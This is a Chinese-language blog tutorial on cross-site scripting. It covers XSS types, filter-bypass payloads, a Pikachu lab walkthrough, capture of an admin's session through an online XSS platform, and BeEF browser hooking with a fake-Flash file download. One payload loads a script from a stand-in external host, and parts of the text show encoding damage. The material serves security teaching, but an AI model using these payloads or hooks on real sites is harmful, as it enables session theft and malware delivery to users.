细说XSS
目錄
- 什么是XSS
- 理解XSS
- 漏洞存在的主要原因
- XSS普遍流行的原因
- XSS的危害
- XSS分類
- 反射型XSS
- 存儲型XSS
- DOM型
- 攻擊載荷
- XSS構(gòu)造
- 事件驅(qū)動
- XSS變形
- XSS插在哪
- XSS挖掘
- 黑盒測試
- 白盒測試(代碼審計)**?**
- 禁盜Cookie
- 案例
- XSS平臺利用
- Pikachu靶機XSS(跨站腳本)
- 反射型xss(get)
- 反射型XSS(POST)
- 存儲型xss
- DOM型xss
- DOM型xss-x
- XSS盲打
- XSS之過濾
- XSS之htmlspecialchars
- XSS之href輸出
- XSS之js輸出
- BeEF
- BeEF使用教程
- 啟用BeEF
- 獲得XSS
- 戰(zhàn)果
- 下載惡意文件
- 靶場
- 參考
什么是XSS
跨站腳本(Cross-Site Scripting,XSS)是一種經(jīng)常出現(xiàn)在Web應(yīng)用程序中的計算機安全漏洞,是由于Web應(yīng)用程序?qū)τ脩舻妮斎脒^濾不足而產(chǎn)生的。攻擊者利用網(wǎng)站漏洞把惡意的腳本代碼(通常包括HTML代碼和客戶端Javascript腳本)注入到網(wǎng)頁之中,當其他用戶瀏覽這些網(wǎng)頁時,就會執(zhí)行其中的惡意代碼,對受害用戶可能采取Cookie資料竊取、會話劫持、釣魚欺騙等各種攻擊。
- 通常情況下,我們既可以把跨站腳本理解成一種Web安全漏洞,也可以理解成一種攻擊手段。
- XSS跨站腳本攻擊本身對Web服務(wù)器沒有直接危害,它借助網(wǎng)站進行傳播,使網(wǎng)站的大量用戶受到攻擊。
- 攻擊者一般通過留言、電子郵件或其他途徑向受害者發(fā)送一個精心構(gòu)造的惡意URL,當受害者在Web瀏覽器中打開該URL的時侯,惡意腳本會在受害者的計算機上悄悄執(zhí)行,
理解XSS
還是有點費解的話,看看下面的演示,演示一個簡單的XSS:
在搭建了phpstudy的win2008靶機上,寫一個xss.php文件,內(nèi)容是:
正常訪問如下:
輸入了<script>alert('xss')</script>之后,xss彈窗如下:
解釋:當我們輸入字符1的時候,直接被回顯出來了,如果輸入的是一段js內(nèi)容,當這段js內(nèi)容被回顯的時候,由于這段代碼是js的,這意味著它可以被瀏覽器識別出來,并且執(zhí)行,于是這段js代碼被執(zhí)行了,就是我們看到的一個彈窗。這就是一個簡單的XSS演示。
?
XSS能不能實現(xiàn),跟瀏覽器也有一些關(guān)系,有時候是瀏覽器類型,有時候是瀏覽器版本,譬如,IE瀏覽器:
漏洞存在的主要原因
- 參數(shù)輸入未經(jīng)過安全過濾
- 惡意腳本被輸出到網(wǎng)頁
- 用戶的瀏覽器執(zhí)行了惡意腳本
XSS普遍流行的原因
(1)Web瀏覽器本身的設(shè)計是不安全的。瀏覽器包含了解析和執(zhí)行JavaScript等腳本語言的能力,這些語言可用來創(chuàng)建各種格式豐富的功能,而瀏覽器只會執(zhí)行,不會判斷數(shù)據(jù)和程序代碼是否惡意。
(2)輸入與輸出是Web應(yīng)用程序最基本的交互,在這過程之中若沒做好安全防護,Web程序很容易會出現(xiàn)XSS漏洞。
(3)現(xiàn)在的應(yīng)用程序大部分是通過團隊合作完成的,程序員之間的水平參差不齊,很少有人受過正規(guī)的安全培訓,因此,開發(fā)出來的產(chǎn)品難免存在問題。
(4)不管是開發(fā)人員還是安全工程師,很多都沒有真正意識到 XSS 漏洞的危害,導致這類漏洞普遍受到忽視。很多企業(yè)甚至缺乏專門的安全工程師,或者不愿意在安全問題上花費更多的時間和成本。
(5)觸發(fā)跨站腳本的方式非常簡單,只要向 HTML 代碼中注入腳本即可,而且執(zhí)行此類攻擊的手段眾多,譬如利用CSS、Flash等。XSS技術(shù)的運用如此靈活多變,要做到完全防御是一件相當困難的事情。
(6)隨著Web 2.0的流行,網(wǎng)站上交互功能越來越豐富。Web 2.0鼓勵信息分享與交互,這樣用戶就有了更多的機會去查看和修改他人的信息,比如通過論壇、Blog 或社交網(wǎng)絡(luò),于是黑客也就有了更廣闊的空間發(fā)動XSS攻擊。
XSS的危害
XSS分類
XSS根據(jù)其特性和利用手法的不同,主要分成兩大類型:一種是反射型跨站腳本;另一種是存儲型跨站腳本,有時還分DOM型。說有時是因為有人分了兩類,有人分類三類。
反射型XSS
反射型XSS是最常見,也是使用最廣的一種,主要用于將惡意腳本附加到URL地址的參數(shù)中
定義:
反射型XSS的利用一般是攻擊者通過特定手法(比如利用電子郵件),誘使用戶去訪問一個包含惡意代碼的URL,當受害者點擊這些專門設(shè)計的鏈接的時候,惡意JavaScript代碼會直接在受害者主機上的瀏覽器執(zhí)行。
特點:
它的特點是只在用戶單擊時觸發(fā),而且只執(zhí)行一次,非持久化,所以稱為反射型跨站式腳本。
危害:
通常出現(xiàn)在網(wǎng)站的搜索欄、用戶登入口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙
常用攻擊手段
常見攻擊方式:攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發(fā)送給目標用戶。當目標用戶訪問該鏈接時,服務(wù)器接收該用戶的請求并進行處理,然后服務(wù)器把帶有XSS代碼的數(shù)據(jù)發(fā)送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本后,就會觸發(fā)XSS漏洞。
防御手段:
使用htmlspecialchars把我們XSS要用到的一些預定義字符轉(zhuǎn)化為HTML實體,導致無法再進行反射型XSS攻擊。
預定義字符包括:" 、'、<、>、&
存儲型XSS
持久型跨站腳本(Persistent Cross-site Scripting)也等于存儲型跨站腳本(Stored Cross-site Scripting),比反射型跨站腳本更具威脅性,并且可能影響到Web服務(wù)器自身的安全
定義:
存儲型XSS不需要用戶單擊特定URL就能執(zhí)行跨站腳本,攻擊者事先將惡意JavaScript代碼上傳或存儲到漏洞服務(wù)器中,只要受害者瀏覽包含此惡意JavaScript代碼的頁面就會執(zhí)行惡意代碼。
特點:
一般出現(xiàn)在網(wǎng)站的留言、評論、博客日志等交互處,惡意腳本被存儲到客戶端或者服務(wù)器的數(shù)據(jù)庫中,當其他用戶瀏覽該網(wǎng)頁時,站點即從數(shù)據(jù)庫中讀取惡意用戶存入的非法數(shù)據(jù),然后顯示在頁面中,即在受害者主機上的瀏覽器執(zhí)行惡意代碼。
危害:
持久型XSS不需要用戶去單擊URL進行觸發(fā),所以它的危害比反射型XSS大,黑客可以利用它滲透網(wǎng)站、掛馬、釣魚……
更嚴重的是,利用此類 XSS 能夠輕易編寫危害性更大的 XSS 蠕蟲,跨站蠕蟲是使用Ajax/JavaScript腳本語言編寫的蠕蟲病毒,能夠在網(wǎng)站中實現(xiàn)病毒的幾何數(shù)級傳播,其感染速度和攻擊效果都非??膳隆SS蠕蟲會直接影響到網(wǎng)站的所有用戶,也就是一個地方出現(xiàn)XSS漏洞,同站點下的所有用戶都可能被攻擊
常用攻擊手段
常見攻擊方法:該攻擊多見于論壇、博客和留言板,攻擊者在發(fā)帖的過程中,將惡意腳本連同正常信息一起注入帖子的內(nèi)容中。隨著帖子被服務(wù)器存儲下來,惡意腳本也永久地被存放在服務(wù)器的后端存儲器中。當其他用戶瀏覽這個被注入了惡意腳本的帖子時,惡意腳本就會在他們的瀏覽器中執(zhí)行相關(guān)操作。
DOM型
首先,什么是DOM呢?
DOM是指文檔對象模型,是一個平臺中立和語言中立的接口,有的程序和腳本可以動態(tài)訪問和更新文檔的內(nèi)容、結(jié)構(gòu)和樣式。在web開發(fā)領(lǐng)域的技術(shù)浪潮中,DOM是開發(fā)者能用來提升用戶體驗的最重要的技術(shù)之一,而且?guī)缀跛械默F(xiàn)在瀏覽器都支持DOM。
DOM本身是一個表達XML文檔的標準,HTML文檔從瀏覽器角度來說就是XML文檔,有了這些技術(shù)后,就可以通過javascript輕松訪問它們。下圖是一個HTML源代碼的DOM樹結(jié)構(gòu)。
其次,什么是DOM-XSS呢?
通過修改頁面的DOM節(jié)點形成的XSS,稱之為DOM XSS。它和反射型XSS、存儲型XSS的差別在于,DOM XSS的XSS代碼并不需要服務(wù)器解析響應(yīng)的直接參與,觸發(fā)XSS靠的就是瀏覽器端的DOM解析,可以認為完全是客戶端的事情。
可能觸發(fā)DOM型XSS的屬性
常用攻擊方式:用戶請求一個經(jīng)過專門設(shè)計的URL,它由攻擊者提交,而且其中包含XSS代碼。服務(wù)器的響應(yīng)不會以任何形式包含攻擊者的腳本。當用戶的瀏覽器處理這個響應(yīng)時,DOM對象就會處理XSS代碼,導致存在XSS漏洞。
關(guān)于DOM型XSS有自動化工具:FinDOM-XSS,傳送門—>FinDOM-XSS:一款針對DOM型XSS漏洞的快速掃描工具
攻擊載荷
這里涉及到一些JavaScript的語法,你可以在bilibili搜索BV1Kr4y1M7Lv觀看某培訓機構(gòu)提供的JavaScript全套課程,也可以在菜鳥教程中學習。你可以在控制臺中輸入代碼,來簡單的查看到效果
XSS構(gòu)造
1:
<script>alert("hack")</script> #彈出hack <script>alert(/hack/)</script> #彈出hack <script>alert(1)</script> #彈出1,對于數(shù)字可以不用引號 <script>alert(document.cookie)</script> #彈出cookie <script src=http://xxx.com/xss.js></script> #引用外部的xss2:偽協(xié)議
可以使用javascript:偽協(xié)議的方式構(gòu)造XSS
譬如:
3:XSS萬能模板
<sCr<scrscRiptipt>ipt>OonN\'\"<>事件驅(qū)動
“事件驅(qū)動”是一種比較經(jīng)典的編程思想,在網(wǎng)頁會發(fā)生很多事件(比如鼠標移動,鍵盤輸入等),JS可以對這些事件進行響應(yīng),所以我們可以通過事件觸發(fā)JS函數(shù),觸發(fā)XSS
事件種類:
- window事件:對window對象觸發(fā)的事件
- Form事件: HTML表內(nèi)的動作觸發(fā)事件
- Mouse事件: 由鼠標或類似用戶動作觸發(fā)的事件
- Media事件: 由多媒體觸發(fā)的事件
如:【注意不要復制空格之類的玩意,不然沒效果】
<img src='./smile.jpg' onmouseover='alert(/xss/)'>這個標簽會引入一個圖片,然后鼠標懸停在圖片上的時候,出觸發(fā)XSS代碼
<img src=1 onerror=alert(/xss/)>由于圖片文件不存在觸發(fā)錯誤,出現(xiàn)彈窗
<input type="text" onkeydown="alert(/xss/)">當鼠標點擊鍵盤上任意一個按鍵的時候觸發(fā)
類似的
XSS變形
我們可以構(gòu)造XSS代碼來做各種變形,以繞過XSS過濾器的檢測,有以下變形方式:
可以將payload進行大小寫轉(zhuǎn)換,如下:
<Img sRc = '#' Onerror = "alert(/xss/)"/> <a hREf = "javaScript:alert(/xss/)">click me</a>HTML語言對引號的使用不敏感,但是某些過濾函數(shù)是“錙銖必較”
<img src="#" onerror="alert(/xss/)"/> <img src='#' onerror='alert(/xss/)'/> <img src= # onerror= alert(/xss/)/>可以利用左斜線代替空格
<img/src='#'/οnerrοr='alert(/xss/)'/>可以在一些位置添加tab(水平制表符)和回車符,來繞過關(guān)鍵字檢測
把<A hREf="javascRipt:alert(/xss/)">click me!</a>變成
可以對標簽屬性進行轉(zhuǎn)碼,用來繞過過濾。譬如:
| a | 97 | a | d |
| e | 101 | e | e |
| s | 115 | s | s |
經(jīng)過簡單編碼之后的樣子:
<A hREf="javascript:allert(/xss/)">click me</a>>可以
另外,可以將以下字符插入到任意位置:
| Tab | 	 |
| 換行 | 
 |
| 回車 | 
 |
可以將以下字符插入到頭部位置
| SOH(標題開始) |  |
| STX(本文開始) |  |
把一個XSS拆開來寫<script>alert("XSS");</script>
<script>z='alert'</script> <script>z=z+'(/xss)'</script> <script>eval(z)</script>把一個標簽寫兩次<script>
<scr<script>ipt>
XSS插在哪
- 用戶輸入作為script標簽內(nèi)容
- 用戶輸入作為HTML注釋內(nèi)容
- 用戶輸入作為HTML標簽的屬性名
- 用戶輸入作為HTML標簽的屬性值
- 用戶輸入作為HTML標簽的名字
- 直接插入到CSS里
- 最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面里!
XSS挖掘
黑盒測試
盡可能找到一切用戶可控并且能夠輸出在頁面代碼中的地方,比如下面這些:
- URL的每一個參數(shù)
- URL本身
- 表單
- 搜索框
?
常見業(yè)務(wù)場景
- 重災區(qū):評論區(qū)、留言區(qū)、個人信息、訂單信息等
- 針對型:站內(nèi)信、網(wǎng)頁即時通訊、私信、意見反饋
- 存在風險:搜索框、當前目錄、圖片屬性等
白盒測試(代碼審計)?
關(guān)于XSS的代碼審計主要就是從接收參數(shù)的地方和一些關(guān)鍵詞入手。
PHP中常見的接收參數(shù)的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收參數(shù)的地方。然后對接收到的數(shù)據(jù)進行跟蹤,看看有沒有輸出到頁面中,然后看輸出到頁面中的數(shù)據(jù)是否進行了過濾和html編碼等處理。
也可以搜索類似echo這樣的輸出語句,跟蹤輸出的變量是從哪里來的,我們是否能控制,如果從數(shù)據(jù)庫中取的,是否能控制存到數(shù)據(jù)庫中的數(shù)據(jù),存到數(shù)據(jù)庫之前有沒有進行過濾等等。
大多數(shù)程序會對接收參數(shù)封裝在公共文件的函數(shù)中統(tǒng)一調(diào)用,我們就需要審計這些公共函數(shù)看有沒有過濾,能否繞過等等。
同理審計DOM型注入可以搜索一些js操作DOM元素的關(guān)鍵詞進行審計。
禁盜Cookie
如果你在cookie中設(shè)置了HttpOnly屬性,那么通過js腳本將無法讀取到cookie信息,這樣能有效的防止XSS盜用Cookie,具體一點的介紹請自行上網(wǎng)搜索
案例
XSS平臺利用
有一種,為他人做嫁衣裳的感覺,實戰(zhàn)中還是用BeEF吧
上網(wǎng)隨便搜一個XSS平臺,我這里用的是https://xsshs.cn/xss.php
新建一個項目
選擇默認模塊即可
平臺提供了多種代碼風格,隨意選擇一個,不一定哪個能用
現(xiàn)在XSS準備完畢,準備靶場,這里使用一個存儲型
管理員登錄之后,查看留言,即可中招
回到XSS平臺就可以看見,如果看不見信息,說明可能被攔截了
Pikachu靶機XSS(跨站腳本)
實驗邏輯如下圖:
XSS漏洞的常見類型
危害:存儲型 > 反射型 > DOM型
1:反射型
交互的數(shù)據(jù)一般不會被存儲在數(shù)據(jù)庫里面,一次性的,所見即所得,一般出現(xiàn)在查詢類頁面等
2:存儲型
交互的數(shù)據(jù)會被存在數(shù)據(jù)庫里面,永久性存儲,一般出現(xiàn)在留言板,注冊頁面等
3:DOM型
不會與后臺服務(wù)器產(chǎn)生數(shù)據(jù)交互,是一種通過DOM操作前端代碼輸出的時候產(chǎn)生的問題,一次性的類似反射型
XSS產(chǎn)生的原因
形成ⅩSS漏洞的主要原因是程序?qū)斎牒洼敵龅目刂撇粔驀栏?#xff0c;導致“精心構(gòu)造”的腳本輸入后,在輸?shù)角岸藭r被瀏覽器當作有效代碼解析執(zhí)行從而產(chǎn)生危害。
XSS測試流程
①在目標站點上找到輸入點,比如查詢接口留言板等
②輸入一組“特殊字符+唯一識別字符”,點擊提交后,查看返回的源碼,是否有做對應(yīng)的處理
③通過搜索定位到唯一字符,結(jié)合唯一字符前后語法確認是否可以構(gòu)造執(zhí)行js的條件(構(gòu)造閉合)
④提交構(gòu)造的腳本代碼(以及各種繞過姿勢),看是否可以成功執(zhí)行,如果成功執(zhí)行則說明存在XSS漏洞
反射型xss(get)
首先來試著隨便輸一下測試代碼,然后查看頁面源代碼
可以看到它沒做任何過濾,直接上<script>alert(/xss/)</script>在輸入代碼的時候發(fā)現(xiàn)有長度限制,先看看它是不是前端的,能不能繞過
有戲(注意,要先改長度限制,再輸入payload)
或者這樣繞過長度限制:利用HackBar
或者這樣繞過長度限制:直接在地址欄里面輸入
反射型XSS(POST)
1:按照提示登陸
2:輸入一個XSS代碼<script>alert(/xss/)</script>
3:回車彈窗
存儲型xss
方法同【反射型xss(get)】,先來一個測試代碼,接著查看頁面源代碼。
看起來沒有做過濾,那就直接上payload<script>alert(/xss/)</script>
DOM型xss
思路依然是先來一個測試代碼,然后查看頁面源代碼
所以,只需要閉合<a href='"+str+"'>即可,payload可以構(gòu)造為:#' onclick="alert(/xss/)">
DOM型xss-x
老套路,測試代碼+頁面源代碼
發(fā)現(xiàn)和上一題基本一樣,payload繼續(xù)用#' onclick="alert(/xss/)">
XSS盲打
1:先盡可能多的提交一下
2:按照提示登陸后臺
3:登陸進去之后報了彈窗
XSS之過濾
大小寫繞過<ScriPT>alert(/xss/)</ScriPT>
雙寫繞過 <scri<script>pt>alert(/xss/)</scr</script>pt>
XSS之htmlspecialchars
輸入#' onclick='alert(1)'(建議手敲)
XSS之href輸出
使用偽協(xié)議javascript:alert(1);
XSS之js輸出
使用payload'</script><script>alert(/xss/)</script>
使用payloadtmac';alert(1);//
BeEF
BeEF使用教程
詳細使用參見:BeEF-XSS詳細使用教程
中文使用手冊:《BeEF中文文檔》
啟用BeEF
這里簡單介紹一下使用,最新版的kali好像移除了它,這里手動安裝一下
apt-get update # 更新源 apt-get install beef-xss # 安裝BeEF啟動BeEF
獲得XSS
在前面的章節(jié)“XSS平臺利用”中,已經(jīng)演示過了,這里就簡單演示一下了。
在靶機的留言板處提交包含XSS代碼的內(nèi)容
網(wǎng)站管理員查看了這條留言
戰(zhàn)果
回到BeEF,看到了有一臺機器上線了。看到了關(guān)于這臺機器的一些相關(guān)信息
BeEF的功能很強大,這里簡單演示一下其中的部分功能
下載惡意文件
一種社會工程學攻擊,上網(wǎng)搜一張Flash的圖片,復制圖片地址,然后點擊執(zhí)行
靶機的頁面上出現(xiàn)了一個圖片鏈接,大大的圖片出現(xiàn)在屏幕中央,em,,,,這里應(yīng)該使用一張矢量圖,效果會更好一些。鼠標放在圖片上,左下角可以看到圖片指向的地址。即,點擊圖片,就會下載你執(zhí)行的一個文件。
靶場
XSS-change
XSSchallenge(1-13題)
?
xss.haozi.me
項目地址:https://github.com/haozi/xss-demo
項目答案:https://github.com/haozi/xss-demo/issues/1
在線靶場:https://xss.haozi.me/#/0x00
教程:xss靶場練習(一)之xss.haozi.me
參考
《XSS跨站腳本攻擊剖析與防御》
[網(wǎng)絡(luò)安全] 五.XSS跨站腳本攻擊詳解及分類-1
FinDOM-XSS:一款針對DOM型XSS漏洞的快速掃描工具
web漏洞 | XSS(跨站攻擊腳本)詳解
什么是HttpOnly
?
總結(jié)
- 上一篇: PHP开发环境搭建工具有哪些?
- 下一篇: Microsoft store 提示检查